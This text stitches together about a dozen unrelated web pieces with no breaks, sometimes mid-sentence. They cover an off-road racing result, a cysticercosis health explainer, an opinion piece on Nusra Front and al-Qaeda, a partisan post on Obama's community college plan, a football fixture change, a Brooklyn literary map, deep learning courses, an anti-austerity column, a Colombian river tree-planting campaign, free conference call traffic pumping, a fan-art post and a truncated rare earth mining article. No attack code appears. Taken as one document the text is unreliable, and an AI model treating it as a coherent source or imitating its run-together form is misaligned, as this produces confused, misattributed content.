Saturday for Team ReadyLIFT. Round 5 on Friday was a little underwhelming for both Kyle in Pro Lite and his father, legendary racer Marty Hart, in the Pro 2 division. With a strong qualifying round Marty found himself in the third spot with a strong shot at the podium. After being taken out by another tough competitor Bryce Menzies, Hart fell back and carried that stoke of bad luck into Saturday as well. The real race for the Pro Lite division was Saturday. A hard fought but killer qualifier placed Kyle square in line for a podium. During the race, a few of Kyle’s closer competition suffered flat tires and had to pit leaving the young Hart with a race that was his for the taking. Overall, Hart grabbed the top spot and all just before his birthday. Quite a gift to give yourself and your fans. Check out more of the LOORRS including race results, lap times and current Series standings at www.lucasoiloffroad.comCysticercosis is a parasitic tissue infection caused by larval cysts of the tapeworm Taenia solium. These larval cysts infect brain, muscle, or other tissue, and are a major cause of adult onset seizures in most low-income countries. A person gets cysticercosis by swallowing eggs found in the feces of a person who has an intestinal tapeworm. People living in the same household with someone who has a tapeworm have a much higher risk of getting cysticercosis than people who don’t. People do not get cysticercosis by eating undercooked pork. Eating undercooked pork can result in intestinal tapeworm if the pork contains larval cysts. Pigs become infected by eating tapeworm eggs in the feces of a human infected with a tapeworm. Both the tapeworm infection, also known as taeniasis, and cysticercosis occur globally. The highest rates of infection are found in areas of Latin America, Asia, and Africa that have poor sanitation and free-ranging pigs that have access to human feces. Although uncommon, cysticercosis can occur in people who have never traveled outside of the United States. For example, a person infected with a tapeworm who does not wash his or her hands might accidentally contaminate food with tapeworm eggs while preparing it for others. In the United States, cysticercosis is considered one of the Neglected Parasitic Infections (NPIs), a group of five parasitic diseases that have been targeted by CDC for public health action. Image: Center is an image of a Taenia egg at a high magnification of 400x. When consumed by humans Taenia eggs can lead to cysticercosis, including a serious condition known as neurocysticercosis. On the left and right are radiographic images of humans with neurocysticercosis. The darker regions are cysts in the brain of the patient. Credit (L to R): Westchester Medical Center, PHIL, The Cysticercosis Working Group in Peru.Jabhat al-Nusra or Nusra Front avoided mentioning its affiliation when it was formed in the early year of 2012. Its leader and founder Abu Mohamed al-Golani was forced to give oath of allegiance to al-Qaeda’s leader Ayman al-Zawahiri in April 2013, as a response to Abu Bakr al-Baghdadi’s decision to merge “al-Qaeda in Iraq” and “Nusra Front” under one organization named as “Islamic State in Iraq and Levant.” Since al-Golani’s announcement of pledge of allegiance to al-Qaeda, it officially became the Syrian branch of al-Qaeda in Syria and Lebanon. Following that announcement many voices raise from the Syrian people and moderate revolutionaries asking al-Golani to split from al-Qaeda and yet this voices are still asking until today but al-Golani refused. Many believe that Nusra Front’s announcement to pledge allegiance to al-Qaeda is a folly decision because Assad regime, Iran and Russia are all trying to convince the world that there is no popular revolution in Syria but a terrorist movements linked to al-Qaeda that are trying to topple the Syrian regime and to install an Islamic State, also this announcement gave a bad image to the Syrian uprising. Despite Nusra Front’s affiliation with al-Qaeda there is no hierarchical relationship with it, Nusra Front is standing on its own feet since they have their own Shari and military councils including their own source of funding. Splitting from al-Qaeda network can be done easily from an administrative side but it will not make any significant impact, this kind of splitting will not please many Syrian people and revolutionaries. Splitting from al-Qaeda would not only be administratively but also politically and most importantly ideologically. Nusra Front must leave its external Jihadist project and join other Syrian opposition militant groups to fight for one cause and project. Salafist religious scholar Abu Muhammad al-Maqdisi, whose teachings have inspired al-Qaeda leadership, told Al Jazeera that he did not think al-Nusra would disavow its links with the group. “If there were a decision on the part of al-Nusra to sever its relations with al-Qaeda, it would have been leaked by now, but nothing has come out to indicate that at this point,” Maqdisi said. He added that if al-Nusra were to renounce its relations with al-Qaeda, it would not absolve them from the “terrorism” label many in the West and the region had given them. Many reports said that officials from the intelligence agencies of the Gulf States including Qatar, met with Abu Mohamed al-Golani several times in March 2015 to encourage him to split from al-Qaeda and to join the Syrian opposition and offered him to have Gulf backing which includes finance and weapons, but al-Golani refused the offer. Nusra Front is not willing to end its association with al-Qaeda for many reasons, the main reason is that they are going to lose many jihadist sympathizers locally and international including losing their support [financially and media propaganda] they get from outside Syria. Also most of its fighters who are carrying the ideology of Salafist-Jihadism that encourages them to fight in order to build an Islamic State and Implement Sharia law will eventually join the Islamic State who carries the same ideology but much more extremer and brutal. Jihadist organizations like Nusra Front and Jund al-Aqsa have assisted the Syrian revolution militarily only by fighting against the Syrian regime forces and its sectarian militant groups, but it has damaged the revolution severely because of its extremist ideology, exclusionary acts and Takfirist views. They were always trying to hijack the people’s revolution against oppression and turn it into fighting to establish Islamic State resulted in bringing in US led coalition and other forces to bomb in Syria in the name of war on terror.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard In a preview to the State of the Union, on Thursday President Obama unveiled plans to make 2 yrs of community college free for those willing to work hard. Details will be announced Thursday evening and the full announcement will come on Friday. Watch here: President Obama said, “Put simply, what I’d like to do is to see the first two years of community college free for anybody who’s willing to work for it,” he said. “It’s something we can accomplish, and it;s something that will train our workforce so that we can compete with anyone in the world.” This plan will require congressional approval, but judging from the initial reaction to the idea, the White House has hit another political home run. For the third time in less than two months, President Obama has caught Republicans completely off guard. The expectation is that congressional Republicans will immediately turn up their noses at the plan. Boehner and McConnell will roar that the country can’t afford the cost that will come with developing a better-educated workforce. After creating nearly 11 million jobs over the past 57 months, which is the longest streak of private-sector job growth on record, President Obama isn’t about to sit still for the last two years of his Presidency. In fact, he is going to work to implement the ideas the American people re-elected him (in a landslide) to do. In spite of Republicans. The President said of his last two years, “My presidency is entering the fourth quarter. Interesting stuff happens in the fourth quarter.” Community college free for two years? What a great way to even the playing field for those who are willing to work hard. There is nothing more fundamentally American than opportunity for hard work. The latest idea by the president is another body blow to the new Republican controlled Congress, who believed that this week was going to be their victory lap. (The Republican victory lap has so far consisted of getting mired in a racism scandal and passing a bill that the president is certain to veto.) Once again, President Obama is two steps ahead of his opponents. Republicans are left on the defensive and wondering what this president will hit them with next. Update 9:00 AM Jan 9th: The White House released a fact sheet on the President’s proposal Friday morning. You can read it here. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Southampton’s home game against West Ham United has been moved due to the Hammers’ draw with Liverpool in the Emirates FA Cup. West Ham’s draw with the Reds at Anfield on Saturday means a replay will be required on either Tuesday 9th or Wednesday 10th February, leading to the rearrangement of Saints’ clash with the Hammers. The game had originally been scheduled for Monday 8th February, with a kick-off time of 8pm GMT, but will now take place on Saturday 6th February and get under way at 5.30pm GMT, live on Sky Sports. Tickets with the original date and time of the fixture will still be valid. Should you be unable to attend the game due to the re-arrangement a full refund will be given
from one another as are the city’s boroughs themselves. Over the years, countless writers have borne witness to the nuances of each neighborhood, celebrating the singular smell of the streets in Bushwick or the way the light washes over the beach in Coney Island. With this map we hope to celebrate much of the best writing set in the borough; neighborhood by neighborhood, these novels, essays, and poems reflect the specific time and place in which they are set, and in doing so, beautifully demonstrate the multitudes that make up Brooklyn as a whole, multi-faceted as it is now, and has always been. Bed-Stuy: Brown Girl, Brownstones Paule Marshall “She seemed to know the world down there in the dark hall and beyond for what it was. Yet knowing, she still longed to leave this safe, sunlit place at the top of the house for the challenge there.” Brooklyn Heights: Desperate Characters, Paula Fox “Ticking away inside the carapace of ordinary life … was anarchy.” Flatbush: The Amazing Adventures of Kavalier and Clay, Michael Chabon “The true magic of this broken world lay in the ability of the things it contained to vanish, to become so thoroughly lost, that they might never have existed in the first place.” Prospect Park South: Sophie’s Choice, William Styron “In those days cheap apartments were almost impossible to find in Manhattan, so I had to move to Brooklyn.” DUMBO: Friendship, Emily Gould “Amy paid her bill, overtipping as usual, then gathered her things and started walking back to the office. On the way; she passed Peas and Pickles, the twenty-four-hour Korean greengrocer with gourmet pretensions that had sprung up to cater to the employees of businesses like Yidster.” Williamsburg: A Tree Grows In Brooklyn, Betty Smith “There’s no other place like it.” “Like what?” “Brooklyn! It’s a magic city and it isn’t real.” Bushwick: Black Spring, Henry Miller “It was exactly five minutes past seven, at the corner of Broadway and Kosciusko Street, when Dostoievski first flashed across my horizon.” Boerum Hill: A Meaningful Life, L.J. Davis “A few miles away across the East River was the apartment he could never get used to, the job where he had nothing to do, the dozen or so people he knew slightly and cared about not at all: a fabric of existence as blank and seamless as the freshly plaster wall he passed.” Cobble Hill: Motherless Brooklyn, Jonathan Lethem “There is nothing Tourettic about the New York City subways.” Bay Ridge: Requiem for a Dream, Hubert Selby Jr.* “There was a sky somewhere above the tops of the buildings, with stars and a moon and all the things there are in a sky, but they were content to think of the distant street lights as planets and stars. If the lights prevented you from seeing the heavens, then preform a little magic and change reality to fit the need. The street lights were now planets and stars and moon. ” Coney Island: Dreamland, Kevin Baker “It was evening and the lights were just going up along Surf Avenue: a million electric bulbs spinning a soft, yellow gauze over the beach and parks… The City of Fire was coming to life.” Marine Park: Marine Park, Mark Chiusano “Coming down a one-way street like that was the same feeling as being suspended in mid-air, the windows open, the radio off so I could concentrate, the car on a track almost, so it felt impossible to deviate.” Crown Heights: The Chosen, Chaim Potok “Someone was playing piano nearby and the music drifted slowly in and out of my mind like the ebb and flow of ocean surf. I almost recognized the melody, but I could not be sure; it slipped like a cool and silken wind from my grasp.” Midwood: Brooklyn, Colm Toibin “She was nobody here. It was not just that she had no friends and family; it was rather that she was a ghost in this room, in the streets on the way to work, on the shop floor. Nothing meant anything.” Prospect Heights: The Love Affairs of Nathaniel P., Adelle Waldman “When you’re single, your weekend days are wide-open vistas that extend in every direction; in a relationship, they’re like the sky over Manhattan: punctured, hemmed in, compressed.” Kensington: Lena Finkle’s Magic Barrel, Anya Ulinich “When Josh and I moved to Brooklyn and sent Dasha to preschool, we discovered that New Yorkers of a certain social class didn’t procreate before their mid-thirties and that we were half a generation younger and immeasurably more square than the parents of Dasha’s playmates… These were people with sordid pasts and outsize accomplishments, rounds of IVF and published novels, real furniture and dinner parties with wine… to which, to my amazement, Josh and I were often invited!” Gravesend: The Assistant, Bernard Malamud “God bless Julius Karp, the grocer thought. Without him I would have my life too easy. God made Karp so a poor grocery man will not forget his life is hard. For Karp, he thought, it was miraculously not so hard, but what was there to envy? He would allow the liquor dealer his bottles and gelt just not to be him. Life was bad enough.” Sunset Park: Sunset Park, Paul Auster “He is twenty-eight years old, and to the best of his knowledge he has no ambitions. No burning ambitions, in any case, no clear idea of what building a plausible future might entail for him.” Carroll Gardens: Milk, Darcey Steinke “Walter had festooned St. Pauls’s front doors with evergreen garlands and the little statue of the Holy Mother wore a holly wreath around her head. Mary opened the iron side gate; the metal was cold on her fingers and she walked the icy path.” Red Hook: Visitation Street, Ivy Pochoda “The stoops are filling, some with newcomers dressed in secondhand clothes, others with grizzled men sucking air through their teeth as if this might cool things down.” Windsor Terrace: A Drinking Life, Pete Hamill “I wanted to sit there forever, drinking in bitter satisfaction, using someone else as a license. In the years that followed, I did a lot of that.” Park Slope: The Brooklyn Follies, Paul Auster “I was looking for a quiet place to die.” Greenpoint: The Great Man, Kate Christensen “It happened every single day in Brooklyn: awaken to fresh glory, fall asleep to blight and ruin.” Brownsville: “A Walker In the City,” Alfred Kazin “Every time I go back to Brownsville, it is as if I have never ben away… as I walk those familiarly choked streets at dusk and see the old women sitting in front of the tenements, past and present become each other’s faces; I am back where I began.” Gowanus: Of Time and the River, Thomas Wolfe “It is the old Gowanus Canal, and that aroma you speak of is nothing but the huge symphonic stink of… There is in it not only the noisome stenches of a stagnant sewer, but also the smells of melted glue, burned rubber, and smoldering rags, the… deceased, decaying cats, old tomatoes, rotten cabbage, and prehistoric eggs.” Prospect Park: “The Camperdown Elm,” Marianne Moore I think, in connection with this weeping elm Of Kindred Spirits at the edge of a rockledge Overlooking a stream: Thanatopsis-invoking tree-loving Bryant Conversing with Thomas Cole In Asher Durand’s painting of them Under the filigree of an elm overhead Clinton Hill: “Brooklyn Is,” James Agee “Watching them in the trolleys, or along the inexhaustible reduplications of the streets of their small tradings and their sleep, one comes to notice, even in the most urgently poor, a curious quality in their eyes and the corners of their mouths, relative to what is seen on Manhattan Island: a kind of drugged softness or narcotic relaxation.” Brighton Beach: Panic in a Suitcase, Yelena Akhtiorskaya “Filth [and] dreariness… didn’t bother him, but five [restaurants] in a row called Odessa did. His fellow countrymen hadn’t ventured bravely into a new land, they’d borrowed a tiny nook at the very rear of someone else’s crumbling estate to make a tidy replication of the messy, imperfect original they’d gone through so many hurdles to escape, imprisoning themselves in their own lack of imagination… “ Requiem for a Dream takes place mainly in Coney Island and Brighton Beach. However, in the interest of celebrating Bay Ridge native son, Huber Selby Jr., we placed it in that neighborhood on the map. Follow Kristin Iversen on twitter @kmiversenDeep learning and AI is the next big thing. Microsoft, Apple, Google, Facebook, and other tech giants of Silicon Valley are conducting research, developing systems, improving existing systems (Siri, Google Assistant, Facebook Algorithm) to connect on an almost human level with humans. This means that for the next few decades, people with deep learning and AI programming skills, analysis and testing skills will be in huge demand. Already there are hundreds of courses out there on the Internet focusing on the two subjects, so if you’re looking for something new to learn in tech, this is the best time. If you’re already a part of deep learning or AI projects, this is also a great time to equip yourself with the best info out there. Ready? Enroll yourself in these online courses and get the best of new age learning. Neural Networks for Machine Learning by The University of Toronto in Coursera Artificial neural networks refer to a computational model that is based on the structures and functions of a biological neural network. A neural network attempts to learn and adapt based on the input it receives which means that it tries to come at par with human level of intelligence. The ANN is currently being used for machine learning and is being applied to speech and object recognition as well as for modeling human motion. The Neural Networks for Machine Learning course is taught by Geoffrey Hinton who was one of the most influential AI researchers and neural networks of his time. Deep Learning Specialization by Coursera Coursera was amongst the first online institutes to offer an in-depth course on AI knowledge and deep learning. The site has five deep learning courses and is taught by some of the most famous names in the world of ANN. You will be familiarized with model networks as Convolutional networks, RNNs, LSTM, BatchNorm and a lot more. The best part? The course covers the use of AI in all major industries; from medical to music, driving to sign language and natural language processing. This is a great course to dive into if you have the bucks! Deep Learning by Google in Collaboration with Udacity Google has its own course on deep learning and attempts to familiarize the learner with the very foundations of deep learning – why we need it and what we can achieve with massive datasets of human behavior. With the help of AI, numerous problems could be resolved, and more ease can be brought into human life. The course is designed to help anyone new to machine learning to get a more philosophical aspect of it and perhaps come to appreciate human intelligence as well as machine intelligence. Deep Learning A-Z: Hands on Artificial Neural Networks with Udemy Where Google deals with the philosophical side, Udemy takes it a step further with the technical aspects of neural networks. This Deep Learning A-Z: Hands on Artificial Neural Networks course helps programmers and coders develop deep learning algorithms in Python from two machine learning and data science experts. It is a highly recommended course for people with skills or exposure in algorithm development. Practical Deep Learning for Coders The course is designed specifically for coders with at least a year of experience. An intensive 7-hours course, Practical Deep Learning for Coders provides learners with the basics of key mathematical and modeling tools. After the course, you become equipped to identify exciting AI opportunities and how you can use the knowledge obtained to provide relevant solutions. Once you complete part-1, you can move onto part-2 where you’re taught about the latest development, practices, and achievements of AI programming. If you haven’t already got any learning goal lined up for this year (or the next), we’d say this is high time you got started with the next big revolution in the world of tech.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? There’s something sick about a politics that tells children to give up their lunch money so that billionaire speculators can avoid paying taxes. And that sickness will only be cured by a new politics. Ad Policy That new politics begins this week in Chicago. When National Nurses United and the union’s allies rally on May 18 in Chicago on behalf of a Robin Hood Tax on Wall Street speculation, the lie of austerity will be exposed. The proponents of austerity—from Madison to Washington to Berlin to Athens—would have us believe that nations, states and communities must sacrifice public education, public services and healthcare in order to balance budgets. Yet the same politicians who preach that there is no money for vaccinations and school lunches can always find the money for corporate tax breaks, payouts to defense contractors and wars of whim. Politicians in both parties tell austerity lies. But the people are pushing back. There’s an uprising brewing, not just in Europe but in American states such as Wisconsin and Ohio. There’s a dawning recognition that it is neither morally nor fiscally prudent to sacrifice human needs in order to pay for wars—or to redistribute more of the wealth upward. We do not need “shared sacrifice” and the lie of austerity. We need new priorities. That’s the message behind the May 18 “Heal the World” rally in Chicago, where I’ll join National Nurses United executive director Rose Ann DeMoro, musician Tom Morello and others in advocating for a Robin Hood Tax on Wall Street speculation. NNU is rallying in Chicago because that’s where the G-8 Summit was supposed to be held, before the leaders of the planet’s wealthiest nations decided to avoid the “street heat” that was being generated in support of a financial transactions tax. Now, they’ll gather at Camp David—where security will be tighter. But the Robin Hood Tax, which takes a small chunk of change on each transaction by rich speculators and gives to programs that serve the great mass of people, will stll be mentioned at Camp David. Newly elected French President François Hollande is likely to bring it the increasingly popular proposal, as may German Chancellor Angela Merkel. In Chicago, the battle cry against austerity will be raised his weekend, along with criticisms of the broken priorities that have turned the North Atlantic Treaty Organization into a vehicle for maintaining the occupation of Afghanistan. Many of the activists who will rally with the NNU will also rally Sunday in protest of NATO policies. The causes are related, as they both address the question of budget priorities. Indeed, one of the key backers of the protests, Progressive Democrats of America, has mounted a “Health Care Not Warfare” campaign that brings the messages together. There is a new politics afoot in America, a politics that challenges the lie of austerity and the lie that says unlimited military spending is necessary. As Americans and their allies from around the world rally, march and vote to put human needs ahead of corporate greed and the military-industrial complex about which President Eisenhower warned, it is no surprise that activist unions such as NNU and their allies in groups such as PDA will be in the thick of it. These are groups that understand that the next politics requires an inside-outside strategy that challenges the lie of austerity and the lies that lead to wars of whim. Those challenges must play out inside existing political parties, and outside them; in the corridors of power and in the streets. That next politics will be on display in Chicago on May 18. But it won’t stop there. The uprising has begun, and it’s spreading.EarthRx is a biweekly column that highlights the people, organizations and discoveries solving today’s most pressing environmental and public health problems. Although the landscape is complex, many of these solutions are surprisingly simple and rely only on tapping into the power of community, ingenuity, natural abundance and good ole love to save the day. As the last bell tolls for the Magdalena River, which has gone dry at critical points along its estuary due to deforestation, a Colombian crowdfunding campaign hopes to pull off a feat of magic realism that taps into the power of love to save the day. Anyone familiar with the works of Noble Prize winning author Gabriel Garcia Marquez has the Magdalena River burned into their memory banks with a passion. Marquez, who is affectionately known as “Gabo” throughout Colombia, spent his youth traveling up and down its banks and it figured as more of a protagonist than a backdrop in bestsellers like Love in the Time of Cholera and The General and His Labyrinth. But the mighty Magdalena, the country’s principal and most important river – it snakes through the heart of Colombia from the towering Andes to the crystal clear Caribbean and is home to a crazy diverse array of fish and animals, including African hippos introduced by none other than Pablo Escobar himself – has been slowly dying for decades. Deforestation along its banks has led to extreme soil erosion and the sediment-swamped waters now form a gloomy pale wasteland at its terminus where an exuberant tropical wetland ecosystem once reigned. Gabo was already shocked at the state of the Magdalena, his childhood inspiration, back in 1981 when he pleaded with the public for its salvation in an editorial for the Spanish newspaper El Pais: “The rehabilitation of the Magdalena will only be possible with the continuous and deep effort of by at least four aware generations: a whole century spent sowing 59 million trees.” This was four years before his international sensation Love in the Time of Cholera was published. But in the novel, the author again takes up the theme, positing the destruction of the river against the aging and mortality of poet Florentino and his lost and found again love Fermina: “Florentino Ariza, in fact, was surprised by the changes, and would be even more surprised the following day, when navigation became more difficult and he realized that the Magdalena, father of waters, one of the great rivers of the world, was only an illusion of memory. Captain Samaritano explained to them how fifty years of uncontrolled deforestation had destroyed the river: the boilers of the riverboats had consumed the thick forest of colossal trees that had oppressed Florentino Ariza on his first voyage.” To literati types who can read between the lines, like Carlos (Cabeto) Alberto Duque and Wilmar Duque Gómez of Colombia’s new literary tourism consulting operation Reco Veco, the romance of lovers Florentino and Fermina sailing up and down the Magdalena’s length for eternity as an escape from mortality is a clear metaphor for the transcendent power of love. “We are trying to tap into the force of love to save the Magdalena” Wilmar explained to me over a strong black tinto as he walked me through the details of the IndieGo-Go campaign entitled One Love, One River, One Tree that the Bogota-based dynamic duo has just launched. With librerias (bookstores) on every corner and as the annual host of FILBO, the largest book fair in South America, literature is nurtured and cherished in Colombia’s Andean capital on a level on par with cities like SF or NYC back in the states. “The Magdalena river actually sustains the life of the country,” Wilmar continued as we sat at a window-side table sipping away on the dark roast coffee,” Food and water is provided for about 33 million Colombians who live in or near its basin, and 86 percent of the country’s gross domestic product travels through or is produced there.” Wilmar and Cabreto have already won widespread applause for coming up with the “Colombia: Magic Realism” campaign now adopted by the national tourism board and for launching the highly successful Moonlight Concert series, which takes place against stunning backdrops in different Colombian national parks. Now devoting their energy to promoting literary tourism in the country, they were playing around with different quotes by Marquez on Twitter when they found that there is still a huge and dedicated fanbase for Gabo around the world and that couples and lovers particularly re-tweeted the romantic phrases from Love in the Time of Cholera they shared. From this experiment an ingenious idea was born. “I do not know if you know what happened with the “love locks” movement in Paris,” Wilmar asked me, “That it was inspired by a literary work and today millions of people in the world put padlocks on bridges to celebrate their love” Started on the Pont des Arts bridge and now a world-wide phenomena, love locks are a homage to the cult classic I Want You by Italian author Federico Moccia, and involve lovers inscribing their name on a padlock and locking it to a public structure to signify their undying love. “What we hope to do is engage that same passion in planting millions of trees.” said Wilmar, flashing me a quick bookish smile. The crowdfunding campaign just launched – and soon to be promoted widely via social media – by Wilmar and Cabeto is a public-private partnership between RecoVecos and the environmental group Chavita, an organization of residents of the Magdalena River basin that are already engaged in tree planting and habitat protection. For every $10 that is donated to the IndieGoGo site, Chavita will plant a tree in the name of the donor or their amante, who will also receive a love letter from Florentino Ariza. For $500, donors are taken on an all-expense paid private tour from Bogota to the Magdalena River to visit and participate in the tree planting and explore Marquez’s favorite haunts. “Ultimately we think fans of Gabo, who know that for Florentino Ariza the river is the place where he can be with his beloved ‘forever,’ will see that this is an opportunity to trigger a move from the imaginary to the real, with concrete impacts and lasting influence into the future,” Wilmar told me. Identified by The Nature Conservatory as one of two “Great Rivers” of South America that is in a state of crisis (the other is the Tapajos River in Brazil) and needs drastic action right now to be saved, the Magdalena has only suffered an increase in deforestation since the 80s when Marquez spoke out and Love in the Time of Cholera placed it prominently in the mental landscape of millions of fans around the world. About 70 percent of the forest along its banks has been lost between 1980 and 2010 and several unique key species, like the West Indian Manatee and the Magdalena River Turtle, are in danger of extinction. “Yes, it is quite sad,” Wilmar said, taking a deep sip of his tinto and meeting my gaze over the rim of his reading glasses, “but the idea with this project among other things is “putting happiness in fashion,” which was what Gabo intended with the publication of the novel.” If anyone can put “happiness in fashion” and channel the love of literature to save a river, Colombia can. After all, this is the country that completely dominates the Gallup/Win world happiness poll year after year and invented the magic realism literary movement that continues to transport millions of readers to alternate realms teeming with yellow butterflies from the comfort of their armchairs. In a telling scene near the last pages of Love In The Time of Cholera when the lovers realize things are not going to be as easy as they imagined, Florentino ponders this succinct quote: “Love becomes greater and nobler in calamity.” In the end, the redeeming quality of love is its triumph over all things temporal. It is this eternal force that is now needed to save the Magdalena River. Top image: Iván Palomino, CC-BY Ocean Malandra is a frequent contributor to Paste Magazine who divides his time between Northern California and South America.At FeeFighters, we’re constantly on conference calls with other companies. We’re a scrappy startup, so we use free services when we can. I’ve been using a free conference call line from freeeconferencecall.com for the past year, and wondering – how is it free? I chose freeconferencecall because they were the first link on a google search (as it turns out, there are hundreds of these services out there). It works fine and I see no reason to upgrade, other than the intro that says “welcome to freeconferencecall.com,” which is sort of annoying. The nice thing is that I have a number I can use anytime and I don’t need to make a reservation to use it. So my first guess was that they offer this service for free by upselling to their premium version, but I haven’t once been upsold via email or anything to get the premium version of the account. So either they are terrible up-sellers or they are making money another way. It’s the latter here: How it all works – Termination fees + Traffic pumping Termination fees The telecommunications act of 1996 allowed small rural phone companies to charge other larger phone companies a “termination fee” to access their lines. Basically, if you had a small phone company in Iowa or South Dakota, you could charge AT&T or Verizon when folks called into your area code. I have cell coverage via AT&T (unfortunately), so when I call a rural number in Iowa, AT&T has to pay a termination fee (which is actually billed per minute) to that provider in Iowa. The government allowed this to happen because small phone companies had high costs to throw up a line to that rural Iowa farmhouse, but they don’t make much money from it. It used to be that you’d pay long distance rates depending on where you called, and you’d pay more to call those locations. In the past decade or so, with the onset of cellphones and flat-rate long distance plans, the phone companies just assumed that only a small percentage of people would actually call those numbers. The fees that AT&T and the larger companies pay the small companies are 10-20x more than the normal fees – termination rates range from.3 cents to 20 cents per minute. The rural companies get a great deal – the more calls that they take, the more money they make. Traffic Pumping More traffic = More $$$! So, they had a brilliant idea! If they can get businesses with a lot of incoming calls, like conference calling companies, they could make a lot of money. So they started cutting deals with conference call companies, phonesex lines, etc. If the termination fee at a particular location was 8 cents, they could pay a conference bridge company 4 cents per minute and still make 4 cents on the call. Conference calling is relatively cheap to setup, so these companies are able to offer free service to customers like us and still make 4 cents per minute. It’s all about using more minutes… Freeconferencecall.com does ~20 million calls per month and it did $23million in revenues in 2010. So it’s a win-win-win right? Freeconferencecall wins, the conference callers win, the rural phone companies win, etc… Everyone, that is, except for the large phone companies. They are paying a ton of money to the small companies. AT&T estimated in 2007 that they were paying an additional $250 million to connect these calls. My conference call yesterday betweenÂ people in Chicago, Raleigh, and California was deliberately dialed through Iowa just so freeconferencecall.com could make money off the inflated rates regulations to rural phone companies, at the expense of the long distance companies. Lets say it cost our providers 8 cents a minute… the one hour call cost our providers a total of $19.20 (4 participantsx8cents60mins)! No surprise then, that the large telcos have been lobbying hard to get rid of this provision. AT&T & Google Voice are facing off in court about this issue. Google Voice does NOT allow you to make calls to these numbers… Wanna try? Call our freeconferencecall number at (605) 475-4000 from Google Voice or a Vonage number. It won’t connect you. Google Voice, as a VOIP solution isn’t required to connect you to every phoneline, as the traditional carriers are. It is likely that the time of free conference calls are coming to a close, as the FCC has been actively talking about eliminating the arbitrage, and frankly, this is an obvious loophole. TL;DR – Free Conference Calls aren’t really free. The costs for them are embedded in your phone bill because they are connected through rural phone stations that get paid (up to 20 cents/minute) via an outdated regulation. Image By Andres RuedaSo like, you know when your playing or watching something and you get this crazy crossover Idea? yeah that happened to me as soon as I gave Twilight Princess a rest and pick Dark Souls 3 back up. I'm tellin you guys, if Nintendo does a sequel to Twilight Princess IT NEEDS TO BE THIS!!! you know kinda like Majora's mask was young Link looking for Navi, it could be TP Link looking to finds a way back into the Twilight realm in search of Midna but the evil Aku opens a portal and send him to the Dark souls universe!...or something. I would be DTF!!! But in all seriousness, this was one of those projects that leaped from my brain to my hands to the canvas in rapped succession. That hardly ever happens, even on a good day. So I'm hella glad this one worked out like it did. If your looking for me to make something of a comic of this, I'm already planning something up,(along with the dozen other comic ideas thrashing around in my skull) so naturally I would say something like "stay tuned" or "subskribble 4 moar viddyas n kontent" but honestly I'm quite bad at uploading on a regular basis. That being said, a new year is short approaching with a megaton of new yapple dapple movie, games, and stuff heading our way! so you never know. (wink emoji). So I hope you like it, do enjoy!Molycorp has secured the permits and funding needed to restart production at a mine in Mountain Pass, California, that would become the first U.S. source of rare earth elements in more than a decade. The mine is one of the world’s richest deposits of these elements, which are critical for making components found in a wide range of technologies. On Tuesday, the company announced that it will partner with Hitachi Metals of Japan to turn materials from the mine into high-strength magnets, which are vital in electric vehicles, wind turbines, and many other products. Magnet mine: Molycorp is restarting active mining at this site in Mountain Pass, California. China currently has a lock on the market for rare earth materials: in 2009 it provided 95 percent of the world’s supply, or 120,000 tons. This concentration of supply has become a major issue in recent months, particularly after China temporarily blocked exports of these materials to Japan in September. A Critical Materials Strategy document issued by the U.S. Department of Energy last week points to the “risk of supply disruption” in the short term. Worldwide demand for rare earth elements was 125,000 tons in 2010 and is expected to rise to 225,000 tons by 2015. The mine is a 50-acre open pit about 50 miles outside Las Vegas, surrounded by a stark landscape of red-brown mountains, Joshua trees, and the occasional cactus. Molycorp has begun draining groundwater that seeps into the bottom of the pit and removing areas of rock called “overburden” to expose a layer of bastnäsite, a mineral rich in rare earth elements. Expansion of operations will push the mine from a depth of 500 feet to 1,000 feet in the coming years. By 2012, the revamped U.S. mine is expected to produce around 20,000 tons of rare earth materials per year. Molycorp plans to use new processing techniques that it claims are more environmentally friendly and less expensive than conventional methods. The Mountain Pass mine used to be the world’s biggest supplier of rare earth elements, but it closed in 2004, after a 1998 wastewater leak and the arrival of Chinese suppliers that offered lower prices. (One reason for the lower prices is that nearly half the rare earths produced in China are made as a by-product of iron mining.) Molycorp expects to sell about 3,000 tons of rare earths this year, produced from ore stockpiled before the mine was closed. It is also gearing up for active mining, with financial support from an initial public offering this summer and recent investment from Japanese firm Sumimoto. The company’s total projected production could meet the current demand for rare earths in the United States. Molycorp has not disclosed who its customers will be, but CEO Mark Smith said on a tour of the mine last week that it has inked contracts to sell 25 percent of the 20,000 tons of material it expects to produce during the first year of full-scale operations, in 2012, and has letters of intent to sell the rest. “We’re focused on the U.S., Japanese, and European markets,” he said. Under current permits, the company could potentially double production, to 40,000 tons a year, beyond 2012. Smith says demand is likely to exceed supply for some years to come, even if Lynas Corporation’s Mount Weld mine outside Perth, Australia, begins production as expected in summer 2011. That company expects to produce 15,000 tons of rare earth elements a year by 2015. Even with raw materials in place, U.S. manufacturers can’t produce many important technologies based on rare earth elements. Bastnäsite from the Mountain Pass mine can be processed on site to make didymium oxide, a powder that contains the element neodymium, which is critical for making lightweight permanent magnets. But didymium oxide requires further processing to make the neodymium-iron-boron alloy from which the magnets are made. The magnets found in a wind turbine require several hundred kilograms of neodymium. No company in the United States currently has the technological capacity, or the necessary intellectual-property licenses, to make neodymium magnets. Yesterday, Molycorp and Hitachi metals announced an agreement to produce these magnets in the United States; the two companies plan to sign a definite agreement by April 2011. According to the DOE, only 10 companies, which are located in Germany, Japan, and China, are currently licensed to make such magnets. The intellectual property is owned by Hitachi Metals and by Magnequench, which is now part of AMR Technologies, a 